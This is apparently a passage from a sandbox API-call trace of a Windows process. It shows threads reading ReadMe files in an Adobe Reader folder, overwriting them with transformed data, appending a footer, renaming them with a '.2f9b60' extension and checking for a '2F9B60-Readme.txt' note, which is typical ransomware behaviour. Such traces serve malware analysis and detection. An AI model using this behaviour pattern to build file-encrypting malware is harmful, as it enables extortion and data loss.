(HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce64d60) returned 1 [0128.315] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1ced8910 [0128.315] SetFilePointerEx (in: hFile=0x1640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0128.315] WriteFile (in: hFile=0x1640, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x290ff630, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x290ff630*=0x10c, lpOverlapped=0x0) returned 1 [0128.317] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0128.317] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867b40 [0128.317] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced74a0 [0128.317] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced74a0) returned 1 [0128.317] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1ced74a0 [0128.317] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7a10 [0128.317] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264e30 [0128.317] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264e30) returned 1 [0128.317] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867b40) returned 1 [0128.318] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0128.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cd9e930 [0128.318] sprintf (in: _Dest=0x1cd9e930, _Format="%c%c" | out: _Dest="03") returned 2 [0128.318] sprintf (in: _Dest=0x1cd9e932, _Format="%c%c" | out: _Dest="8e") returned 2 [0128.318] sprintf (in: _Dest=0x1cd9e934, _Format="%c%c" | out: _Dest="86") returned 2 [0128.318] sprintf (in: _Dest=0x1cd9e936, _Format="%c%c" | out: _Dest="b1") returned 2 [0128.318] sprintf (in: _Dest=0x1cd9e938, _Format="%c%c" | out: _Dest="39") returned 2 [0128.318] sprintf (in: _Dest=0x1cd9e93a, _Format="%c%c" | out: _Dest="98") returned 2 [0128.318] sprintf (in: _Dest=0x1cd9e93c, _Format="%c%c" | out: _Dest="e9") returned 2 [0128.318] sprintf (in: _Dest=0x1cd9e93e, _Format="%c%c" | out: _Dest="b0") returned 2 [0128.318] sprintf (in: _Dest=0x1cd9e940, _Format="%c%c" | out: _Dest="da") returned 2 [0128.318] sprintf (in: _Dest=0x1cd9e942, _Format="%c%c" | out: _Dest="cd") returned 2 [0128.318] sprintf (in: _Dest=0x1cd9e944, _Format="%c%c" | out: _Dest="9b") returned 2 [0128.318] sprintf (in: _Dest=0x1cd9e946, _Format="%c%c" | out: _Dest="a8") returned 2 [0128.318] sprintf (in: _Dest=0x1cd9e948, _Format="%c%c" | out: _Dest="e2") returned 2 [0128.318] sprintf (in: _Dest=0x1cd9e94a, _Format="%c%c" | out: _Dest="63") returned 2 [0128.318] sprintf (in: _Dest=0x1cd9e94c, _Format="%c%c" | out: _Dest="a2") returned 2 [0128.318] sprintf (in: _Dest=0x1cd9e94e, _Format="%c%c" | out: _Dest="e8") returned 2 [0128.318] sprintf (in: _Dest=0x1cd9e950, _Format="%c%c" | out: _Dest="6f") returned 2 [0128.318] sprintf (in: _Dest=0x1cd9e952, _Format="%c%c" | out: _Dest="a6") returned 2 [0128.318] sprintf (in: _Dest=0x1cd9e954, _Format="%c%c" | out: _Dest="ab") returned 2 [0128.318] sprintf (in: _Dest=0x1cd9e956, _Format="%c%c" | out: _Dest="a9") returned 2 [0128.318] sprintf (in: _Dest=0x1cd9e958, _Format="%c%c" | out: _Dest="4b") returned 2 [0128.318] sprintf (in: _Dest=0x1cd9e95a, _Format="%c%c" | out: _Dest="43") returned 2 [0128.318] sprintf (in: _Dest=0x1cd9e95c, _Format="%c%c" | out: _Dest="b0") returned 2 [0128.318] sprintf (in: _Dest=0x1cd9e95e, _Format="%c%c" | out: _Dest="fb") returned 2 [0128.318] sprintf (in: _Dest=0x1cd9e960, _Format="%c%c" | out: _Dest="bb") returned 2 [0128.318] sprintf (in: _Dest=0x1cd9e962, _Format="%c%c" | out: _Dest="3c") returned 2 [0128.318] RtlInitAnsiString (in: DestinationString=0x290ff6a8, SourceString="038e86b13998e9b0dacd9ba8e263a2e86fa6aba94b43b0fbbb3c" | out: DestinationString="038e86b13998e9b0dacd9ba8e263a2e86fa6aba94b43b0fbbb3c") [0128.319] RtlAnsiStringToUnicodeString (in: DestinationString=0x290ff678, SourceString="038e86b13998e9b0dacd9ba8e263a2e86fa6aba94b43b0fbbb3c", AllocateDestinationString=1 | out: DestinationString="038e86b13998e9b0dacd9ba8e263a2e86fa6aba94b43b0fbbb3c") returned 0x0 [0128.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b867040 [0128.319] wcscat (in: _Dest=0x1b85d020, _Source="038e86b13998e" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\038e86b13998e") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\038e86b13998e" [0128.319] wcscat (in: _Dest=0x1b85d020, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\038e86b13998e.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\038e86b13998e.2f9b60" [0128.319] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\038e86b13998e.2f9b60", NtPathName=0x290ff650, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\038e86b13998e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0128.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b8615f0 [0128.321] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8615f0) returned 1 [0128.321] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf46600) returned 1 [0128.321] NtQueryInformationFile (in: FileHandle=0x1640, IoStatusBlock=0x290ff6b8, FileInformation=0x290ff6c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x290ff6b8, FileInformation=0x290ff6c8) returned 0x0 [0128.321] NtSetInformationFile (FileHandle=0x1640, IoStatusBlock=0x290ff6b8, FileInformation=0x290ff6c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0128.322] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d020) returned 1 [0128.323] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867040) returned 1 [0128.323] FlushFileBuffers (hFile=0x1640) returned 1 [0128.324] CloseHandle (hObject=0x1640) returned 1 [0128.328] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b867040 [0128.328] wcscpy (in: _Dest=0x1b867040, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0128.328] wcscat (in: _Dest=0x1b867040, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt" [0128.328] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\2f9b60-readme.txt")) returned 0x20 [0128.328] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867040) returned 1 [0128.329] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8678c0) returned 1 Thread: id = 884 os_tid = 0x1478 [0101.087] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmehrv.htm")) returned 0x20 [0102.953] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm", dwFileAttributes=0x20) returned 1 [0103.052] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmehrv.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1724 [0103.052] GetFileSizeEx (in: hFile=0x1724, lpFileSize=0x292ef9a0 | out: lpFileSize=0x292ef9a0*=17066) returned 1 [0103.052] SetFilePointerEx (in: hFile=0x1724, liDistanceToMove=0x42a6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.052] ReadFile (in: hFile=0x1724, lpBuffer=0x292ef920, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x292ef968, lpOverlapped=0x0 | out: lpBuffer=0x292ef920*, lpNumberOfBytesRead=0x292ef968*=0x4, lpOverlapped=0x0) returned 1 [0103.097] SetFilePointerEx (in: hFile=0x1724, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202633b0 [0103.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202637a0 [0103.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263770 [0103.097] NtQuerySystemTime (in: CurrentTime=0x292ef860 | out: CurrentTime=0x292ef860*=132462177085990000) returned 0x0 [0103.097] RtlRandomEx (in: Seed=0x292ef850 | out: Seed=0x292ef850) returned 0x1ec7bdd4 [0103.097] RtlRandomEx (in: Seed=0x292ef850 | out: Seed=0x292ef850) returned 0x65c132a0 [0103.097] RtlRandomEx (in: Seed=0x292ef850 | out: Seed=0x292ef850) returned 0x51b40a33 [0103.097] RtlRandomEx (in: Seed=0x292ef850 | out: Seed=0x292ef850) returned 0x2d1a924 [0103.097] RtlRandomEx (in: Seed=0x292ef850 | out: Seed=0x292ef850) returned 0x6aea621b [0103.097] RtlRandomEx (in: Seed=0x292ef850 | out: Seed=0x292ef850) returned 0x586a7075 [0103.097] RtlRandomEx (in: Seed=0x292ef850 | out: Seed=0x292ef850) returned 0x51014295 [0103.097] RtlRandomEx (in: Seed=0x292ef850 | out: Seed=0x292ef850) returned 0x3d7db393 [0103.097] RtlRandomEx (in: Seed=0x292ef850 | out: Seed=0x292ef850) returned 0x4884177d [0103.097] RtlRandomEx (in: Seed=0x292ef850 | out: Seed=0x292ef850) returned 0x63106fc1 [0103.097] RtlRandomEx (in: Seed=0x292ef850 | out: Seed=0x292ef850) returned 0x53174aa3 [0103.097] RtlRandomEx (in: Seed=0x292ef850 | out: Seed=0x292ef850) returned 0x5de332be [0103.098] RtlRandomEx (in: Seed=0x292ef850 | out: Seed=0x292ef850) returned 0x79ce76a5 [0103.098] RtlRandomEx (in: Seed=0x292ef850 | out: Seed=0x292ef850) returned 0x6e8d2681 [0103.098] RtlRandomEx (in: Seed=0x292ef850 | out: Seed=0x292ef850) returned 0x297a7b1a [0103.098] RtlRandomEx (in: Seed=0x292ef850 | out: Seed=0x292ef850) returned 0x116423eb [0103.098] RtlRandomEx (in: Seed=0x292ef850 | out: Seed=0x292ef850) returned 0x6613af03 [0103.098] RtlRandomEx (in: Seed=0x292ef850 | out: Seed=0x292ef850) returned 0x47aa7b6b [0103.098] RtlRandomEx (in: Seed=0x292ef850 | out: Seed=0x292ef850) returned 0x8876388 [0103.098] RtlRandomEx (in: Seed=0x292ef850 | out: Seed=0x292ef850) returned 0x6c1e719 [0103.098] RtlRandomEx (in: Seed=0x292ef850 | out: Seed=0x292ef850) returned 0x5aa046fe [0103.098] RtlRandomEx (in: Seed=0x292ef850 | out: Seed=0x292ef850) returned 0x285cc042 [0103.098] RtlRandomEx (in: Seed=0x292ef850 | out: Seed=0x292ef850) returned 0x75daace8 [0103.098] RtlRandomEx (in: Seed=0x292ef850 | out: Seed=0x292ef850) returned 0x2ba2d32e [0103.098] RtlRandomEx (in: Seed=0x292ef850 | out: Seed=0x292ef850) returned 0x33ac4447 [0103.098] RtlRandomEx (in: Seed=0x292ef850 | out: Seed=0x292ef850) returned 0x56b633da [0103.098] RtlRandomEx (in: Seed=0x292ef850 | out: Seed=0x292ef850) returned 0x2093b8f3 [0103.098] RtlRandomEx (in: Seed=0x292ef850 | out: Seed=0x292ef850) returned 0x7ec8937b [0103.098] RtlRandomEx (in: Seed=0x292ef850 | out: Seed=0x292ef850) returned 0x497572cc [0103.098] RtlRandomEx (in: Seed=0x292ef850 | out: Seed=0x292ef850) returned 0xd777294 [0103.098] RtlRandomEx (in: Seed=0x292ef850 | out: Seed=0x292ef850) returned 0xd777294 [0103.098] RtlRandomEx (in: Seed=0x292ef850 | out: Seed=0x292ef850) returned 0x29bee300 [0103.107] SetFilePointerEx (in: hFile=0x1724, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.107] ReadFile (in: hFile=0x1724, lpBuffer=0x41f84990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x292ef8c0, lpOverlapped=0x0 | out: lpBuffer=0x41f84990*, lpNumberOfBytesRead=0x292ef8c0*=0x3c00, lpOverlapped=0x0) returned 1 [0103.119] SetFilePointerEx (in: hFile=0x1724, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.119] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0103.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8665c0 [0103.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261a00 [0103.120] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261a00) returned 1 [0103.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x204b3b80 [0103.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261a00 [0103.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263dd0 [0103.120] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263dd0) returned 1 [0103.120] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0103.120] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0103.121] WriteFile (in: hFile=0x1724, lpBuffer=0x204b3b80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x292ef8c0, lpOverlapped=0x0 | out: lpBuffer=0x204b3b80*, lpNumberOfBytesWritten=0x292ef8c0*=0x3c00, lpOverlapped=0x0) returned 1 [0128.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204b3b80) returned 1 [0128.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f84990) returned 1 [0128.331] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1ced87c0 [0128.332] SetFilePointerEx (in: hFile=0x1724, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0128.332] WriteFile (in: hFile=0x1724, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x292ef970, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x292ef970*=0x10c, lpOverlapped=0x0) returned 1 [0128.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0128.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8678c0 [0128.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced77a0 [0128.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced77a0) returned 1 [0128.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1ced77a0 [0128.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7a10 [0128.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced74a0 [0128.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced74a0) returned 1 [0128.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8678c0) returned 1 [0128.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0128.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cd9e930 [0128.335] sprintf (in: _Dest=0x1cd9e930, _Format="%c%c" | out: _Dest="a5") returned 2 [0128.335] sprintf (in: _Dest=0x1cd9e932, _Format="%c%c" | out: _Dest="4e") returned 2 [0128.335] sprintf (in: _Dest=0x1cd9e934, _Format="%c%c" | out: _Dest="8a") returned 2 [0128.335] sprintf (in: _Dest=0x1cd9e936, _Format="%c%c" | out: _Dest="2e") returned 2 [0128.335] sprintf (in: _Dest=0x1cd9e938, _Format="%c%c" | out: _Dest="ec") returned 2 [0128.335] sprintf (in: _Dest=0x1cd9e93a, _Format="%c%c" | out: _Dest="61") returned 2 [0128.335] sprintf (in: _Dest=0x1cd9e93c, _Format="%c%c" | out: _Dest="c1") returned 2 [0128.335] sprintf (in: _Dest=0x1cd9e93e, _Format="%c%c" | out: _Dest="eb") returned 2 [0128.335] sprintf (in: _Dest=0x1cd9e940, _Format="%c%c" | out: _Dest="4b") returned 2 [0128.335] sprintf (in: _Dest=0x1cd9e942, _Format="%c%c" | out: _Dest="63") returned 2 [0128.335] sprintf (in: _Dest=0x1cd9e944, _Format="%c%c" | out: _Dest="ef") returned 2 [0128.335] sprintf (in: _Dest=0x1cd9e946, _Format="%c%c" | out: _Dest="29") returned 2 [0128.335] sprintf (in: _Dest=0x1cd9e948, _Format="%c%c" | out: _Dest="dc") returned 2 [0128.335] sprintf (in: _Dest=0x1cd9e94a, _Format="%c%c" | out: _Dest="63") returned 2 [0128.335] sprintf (in: _Dest=0x1cd9e94c, _Format="%c%c" | out: _Dest="e9") returned 2 [0128.335] sprintf (in: _Dest=0x1cd9e94e, _Format="%c%c" | out: _Dest="05") returned 2 [0128.335] sprintf (in: _Dest=0x1cd9e950, _Format="%c%c" | out: _Dest="40") returned 2 [0128.335] sprintf (in: _Dest=0x1cd9e952, _Format="%c%c" | out: _Dest="2e") returned 2 [0128.335] sprintf (in: _Dest=0x1cd9e954, _Format="%c%c" | out: _Dest="be") returned 2 [0128.336] sprintf (in: _Dest=0x1cd9e956, _Format="%c%c" | out: _Dest="fd") returned 2 [0128.336] sprintf (in: _Dest=0x1cd9e958, _Format="%c%c" | out: _Dest="8c") returned 2 [0128.336] sprintf (in: _Dest=0x1cd9e95a, _Format="%c%c" | out: _Dest="35") returned 2 [0128.336] sprintf (in: _Dest=0x1cd9e95c, _Format="%c%c" | out: _Dest="ac") returned 2 [0128.336] sprintf (in: _Dest=0x1cd9e95e, _Format="%c%c" | out: _Dest="3c") returned 2 [0128.336] sprintf (in: _Dest=0x1cd9e960, _Format="%c%c" | out: _Dest="26") returned 2 [0128.336] sprintf (in: _Dest=0x1cd9e962, _Format="%c%c" | out: _Dest="40") returned 2 [0128.336] RtlInitAnsiString (in: DestinationString=0x292ef9e8, SourceString="a54e8a2eec61c1eb4b63ef29dc63e905402ebefd8c35ac3c2640" | out: DestinationString="a54e8a2eec61c1eb4b63ef29dc63e905402ebefd8c35ac3c2640") [0128.336] RtlAnsiStringToUnicodeString (in: DestinationString=0x292ef9b8, SourceString="a54e8a2eec61c1eb4b63ef29dc63e905402ebefd8c35ac3c2640", AllocateDestinationString=1 | out: DestinationString="a54e8a2eec61c1eb4b63ef29dc63e905402ebefd8c35ac3c2640") returned 0x0 [0128.336] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b867040 [0128.336] wcscat (in: _Dest=0x1b85d020, _Source="a54e8a2eec61c" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\a54e8a2eec61c") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\a54e8a2eec61c" [0128.336] wcscat (in: _Dest=0x1b85d020, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\a54e8a2eec61c.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\a54e8a2eec61c.2f9b60" [0128.336] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\a54e8a2eec61c.2f9b60", NtPathName=0x292ef990, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\a54e8a2eec61c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0128.336] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b8615f0 [0128.338] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8615f0) returned 1 [0128.338] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf46600) returned 1 [0128.338] NtQueryInformationFile (in: FileHandle=0x1724, IoStatusBlock=0x292ef9f8, FileInformation=0x292efa08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x292ef9f8, FileInformation=0x292efa08) returned 0x0 [0128.338] NtSetInformationFile (FileHandle=0x1724, IoStatusBlock=0x292ef9f8, FileInformation=0x292efa08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0128.340] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d020) returned 1 [0128.340] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867040) returned 1 [0128.340] FlushFileBuffers (hFile=0x1724) returned 1 [0128.341] CloseHandle (hObject=0x1724) returned 1 [0128.342] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b867040 [0128.342] wcscpy (in: _Dest=0x1b867040, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0128.342] wcscat (in: _Dest=0x1b867040, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt" [0128.342] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\2f9b60-readme.txt")) returned 0x20 [0128.342] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867040) returned 1 [0128.343] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867940) returned 1 Thread: id = 885 os_tid = 0x147c [0101.088] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmehun.htm")) returned 0x20 [0103.022] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm", dwFileAttributes=0x20) returned 1 [0103.116] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmehun.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1734 [0103.117] GetFileSizeEx (in: hFile=0x1734, lpFileSize=0x2658f880 | out: lpFileSize=0x2658f880*=17012) returned 1 [0103.117] SetFilePointerEx (in: hFile=0x1734, liDistanceToMove=0x4270, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.117] ReadFile (in: hFile=0x1734, lpBuffer=0x2658f800, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2658f848, lpOverlapped=0x0 | out: lpBuffer=0x2658f800*, lpNumberOfBytesRead=0x2658f848*=0x4, lpOverlapped=0x0) returned 1 [0103.251] SetFilePointerEx (in: hFile=0x1734, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262c30 [0103.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261ee0 [0103.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202606b0 [0103.252] NtQuerySystemTime (in: CurrentTime=0x2658f740 | out: CurrentTime=0x2658f740*=132462177087550000) returned 0x0 [0103.252] RtlRandomEx (in: Seed=0x2658f730 | out: Seed=0x2658f730) returned 0x3af617da [0103.252] RtlRandomEx (in: Seed=0x2658f730 | out: Seed=0x2658f730) returned 0x447fbea [0103.252] RtlRandomEx (in: Seed=0x2658f730 | out: Seed=0x2658f730) returned 0x7263364b [0103.252] RtlRandomEx (in: Seed=0x2658f730 | out: Seed=0x2658f730) returned 0x749da725 [0103.252] RtlRandomEx (in: Seed=0x2658f730 | out: Seed=0x2658f730) returned 0x5121a525 [0103.252] RtlRandomEx (in: Seed=0x2658f730 | out: Seed=0x2658f730) returned 0x206884b7 [0103.252] RtlRandomEx (in: Seed=0x2658f730 | out: Seed=0x2658f730) returned 0xcfb2f0c [0103.252] RtlRandomEx (in: Seed=0x2658f730 | out: Seed=0x2658f730) returned 0x1c7bc07 [0103.252] RtlRandomEx (in: Seed=0x2658f730 | out: Seed=0x2658f730) returned 0x3f2f6081 [0103.252] RtlRandomEx (in: Seed=0x2658f730 | out: Seed=0x2658f730) returned 0x57c48d9b [0103.252] RtlRandomEx (in: Seed=0x2658f730 | out: Seed=0x2658f730) returned 0x6489994e [0103.252] RtlRandomEx (in: Seed=0x2658f730 | out: Seed=0x2658f730) returned 0x23f54da4 [0103.252] RtlRandomEx (in: Seed=0x2658f730 | out: Seed=0x2658f730) returned 0x597e6375 [0103.253] RtlRandomEx (in: Seed=0x2658f730 | out: Seed=0x2658f730) returned 0x618ed101 [0103.253] RtlRandomEx (in: Seed=0x2658f730 | out: Seed=0x2658f730) returned 0x36c3fea2 [0103.253] RtlRandomEx (in: Seed=0x2658f730 | out: Seed=0x2658f730) returned 0x326dd2e8 [0103.253] RtlRandomEx (in: Seed=0x2658f730 | out: Seed=0x2658f730) returned 0xe90353 [0103.253] RtlRandomEx (in: Seed=0x2658f730 | out: Seed=0x2658f730) returned 0x51a9d638 [0103.253] RtlRandomEx (in: Seed=0x2658f730 | out: Seed=0x2658f730) returned 0x500e498e [0103.253] RtlRandomEx (in: Seed=0x2658f730 | out: Seed=0x2658f730) returned 0xf0e9300 [0103.253] RtlRandomEx (in: Seed=0x2658f730 | out: Seed=0x2658f730) returned 0x2e07bc57 [0103.253] RtlRandomEx (in: Seed=0x2658f730 | out: Seed=0x2658f730) returned 0x27349987 [0103.253] RtlRandomEx (in: Seed=0x2658f730 | out: Seed=0x2658f730) returned 0x3983aa [0103.253] RtlRandomEx (in: Seed=0x2658f730 | out: Seed=0x2658f730) returned 0x6011073f [0103.253] RtlRandomEx (in: Seed=0x2658f730 | out: Seed=0x2658f730) returned 0x5a443058 [0103.253] RtlRandomEx (in: Seed=0x2658f730 | out: Seed=0x2658f730) returned 0x5efed3bc [0103.253] RtlRandomEx (in: Seed=0x2658f730 | out: Seed=0x2658f730) returned 0x1740abe5 [0103.253] RtlRandomEx (in: Seed=0x2658f730 | out: Seed=0x2658f730) returned 0x51c16db1 [0103.253] RtlRandomEx (in: Seed=0x2658f730 | out: Seed=0x2658f730) returned 0x7c1293ba [0103.253] RtlRandomEx (in: Seed=0x2658f730 | out: Seed=0x2658f730) returned 0x78a54ee5 [0103.253] RtlRandomEx (in: Seed=0x2658f730 | out: Seed=0x2658f730) returned 0x26f88b24 [0103.253] RtlRandomEx (in: Seed=0x2658f730 | out: Seed=0x2658f730) returned 0x6c100c05 